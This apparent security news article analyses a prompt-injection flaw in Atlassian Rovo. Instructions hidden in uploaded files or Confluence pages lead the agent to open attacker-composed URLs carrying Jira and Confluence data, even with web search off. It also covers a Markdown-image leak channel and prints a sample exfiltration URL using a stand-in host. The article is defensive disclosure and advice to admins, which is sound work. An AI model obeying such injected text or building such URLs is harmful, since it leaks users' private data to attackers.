Atlassian Rovo Leaks Data Even With Web Search Off

If you're an Atlassian org admin who switched off web search for Rovo, wrote "no external egress" in the AI risk register, and moved on — go fix that entry. Research published this week by PromptArmor shows Rovo will still open an attacker-chosen URL with your Jira tickets pasted into the query string, with the setting off.

The mechanism is dull and that's the point. A user grabs a file from somewhere — a spec, a vendor PDF, a competitor's changelog — drops it into Rovo, and asks it to tidy up their Jira board. The file carries instructions the user never sees. Rovo does the real work, pulls tickets and Confluence pages, then follows the injected instruction to fetch a URL it composed itself out of that data. The attacker reads the results in their web server logs. No approval dialog fires at any point, because Rovo's URL retrieval tool doesn't ask. In PromptArmor's words, "there are no protections against opening a URL that has been dynamically created by the agent."

Worth being precise, since the framing is getting compressed in retellings: this isn't zero-click in the EchoLeak sense, where an unread email in your inbox is enough. A human uploads the file and asks the question. What's missing is the approval step — the moment where the agent says "I'm about to contact attacker.example, okay?" That step doesn't exist. And the seed is interchangeable: a Confluence page with white-on-white text does it too, which is what an independent researcher demonstrated separately against Rovo chat, siphoning account details to a webhook endpoint, and a 2025 Cato Networks proof-of-concept showed the same thing through a Jira Service Management ticket filed by an anonymous external user. Any surface where untrusted text reaches the model works.

The switch only unplugs half the wire

The genuinely new finding here isn't the injection. It's that Atlassian's admin control is a fiction, and understanding why it's a fiction should change how you evaluate every agent your company buys.

The web search option in Atlassian Administration is described as letting users "switch or expand Rovo's sources to public websites." Read that literally: it governs whether the web is a source. It says nothing about whether the agent can still make an outbound request. PromptArmor found exactly that gap — "the web search setting fails to remove the tool for opening the search results." Search is off. Fetch is still wired up. The agent can't go looking for a page, but it can still be told which page to open, and it'll open it.

This is a category error that's going to repeat across every vendor shipping agent governance. Admin settings are written in product language — sources, features, capabilities — while the actual attack surface is the tool schema handed to the model. Those are different objects maintained by different teams, and nobody diffs them. When your security review asks "can this agent reach the internet?" and the answer is a screenshot of a toggle, you have verified a label, not a behavior.

The remedy at the design level is unglamorous and deterministic: an agent's URL fetch tool should only accept URLs whose provenance is a human. A link a user pasted into the conversation, an allowlisted internal host, a domain the admin enumerated. Not a string the model assembled. That's a lookup against a set, not a classifier deciding whether a URL looks sketchy, and it fails closed. Every AI-based filter in this space eventually loses to a payload that base64s the ticket body or spreads it across path segments.

Two channels, and neither shows up in your logs

There's a second exfiltration path in the same report: Rovo renders Markdown images from model output. That matters operationally because the two channels leave through different doors.

The URL fetch is a server-side tool call — the request originates inside Atlassian's cloud, so your egress proxy, your CASB, and your firewall never see it. The Markdown image renders in the user's browser, so that one does cross your network, disguised as an image load to a domain nobody's blocking. The shape is boring:

https://attacker.example/i.png?d=<contents of the ticket Rovo just read>

If your detection strategy for AI data loss is "we watch outbound traffic," one of these is invisible to you and the other is indistinguishable from a tracking pixel. Neither triggers a Jira permission check, because the agent is reading with the victim's credentials and every access is legitimate. The blast radius is whatever that user can see across Jira, Confluence, and anything reachable through Rovo's connectors — and Rovo's MCP server carries write access to Jira and Confluence, not just read.

Atlassian fixed the easy one

Here's the detail that turns this from a bug report into an argument. Atlassian has patched a Rovo exfiltration bug recently. A researcher reported a rovoChatPrompt URL parameter in Confluence that preloaded arbitrary instructions into a victim's chat and auto-executed them; Atlassian rated it P2, paid $6,000, and shipped a server-side fix on 8 July 2026, roughly eight months after the November 2025 report.

That one was fixable because it was a web bug wearing an AI costume — a query parameter that shouldn't have been trusted, stripped at the boundary, done. The bug PromptArmor disclosed on 23 May has no equivalent patch. Atlassian acknowledged it two days later, assigned a case number, and per PromptArmor's account has said nothing across two follow-ups in the ten weeks since. I found no public Atlassian statement, so that timeline rests on the researcher's telling — but the vulnerable behavior is trivially checkable by any admin with a tenant, and nobody has disputed it.

The asymmetry isn't incompetence. Closing the injection vector means either breaking the URL tool, which is a shipped feature, or solving prompt injection, which nobody has. So it sits.

What to change this week

Stop treating the web search toggle as an egress control and say so explicitly wherever you documented otherwise. Inventory what Rovo can actually read for your highest-privilege users, because a single poisoned Confluence page inherits all of it. Treat externally-filed JSM tickets as hostile input, since that's a stranger writing directly into your agent's context. And when you evaluate the next agent — Rovo, Copilot, Glean, whatever's next — ask the vendor for the tool list the model is handed, not the settings page. If they can't produce it, that's your answer.

Rovo is bundled into every paid Jira, Confluence, and JSM plan, and Standard-tier customers got it in October 2025. Most of the organizations exposed here didn't choose to deploy an AI agent with read access to their entire knowledge base. It arrived with the subscription. The toggle they'd reach for to contain it doesn't do what its name suggests, and ten weeks after disclosure it still doesn't.